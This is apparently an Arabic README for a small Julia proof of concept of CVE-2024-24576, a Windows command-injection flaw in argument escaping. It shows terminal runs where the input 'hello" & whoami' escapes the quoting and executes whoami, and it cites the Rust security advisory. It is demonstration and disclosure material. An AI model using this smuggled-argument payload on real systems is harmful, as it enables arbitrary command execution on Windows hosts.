
PoC بسيط لثغرة CVE-2024-24576 بلغة جوليا
λ julia main.jl
Enter arguments:
hello
Output:
Argument received: hello
λ julia main.jl
Enter arguments:
hello & whoami
Output:
Argument received: "hello & whoami"
λ julia main.jl
Enter arguments:
hello" & whoami
Output:
Argument received: "hello\"
desktop-9zk7mal\lpn
لاحظ الوسيطة المُهربة مع " & whoami
هذا ليس اكتشافي!
المصادر:
https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/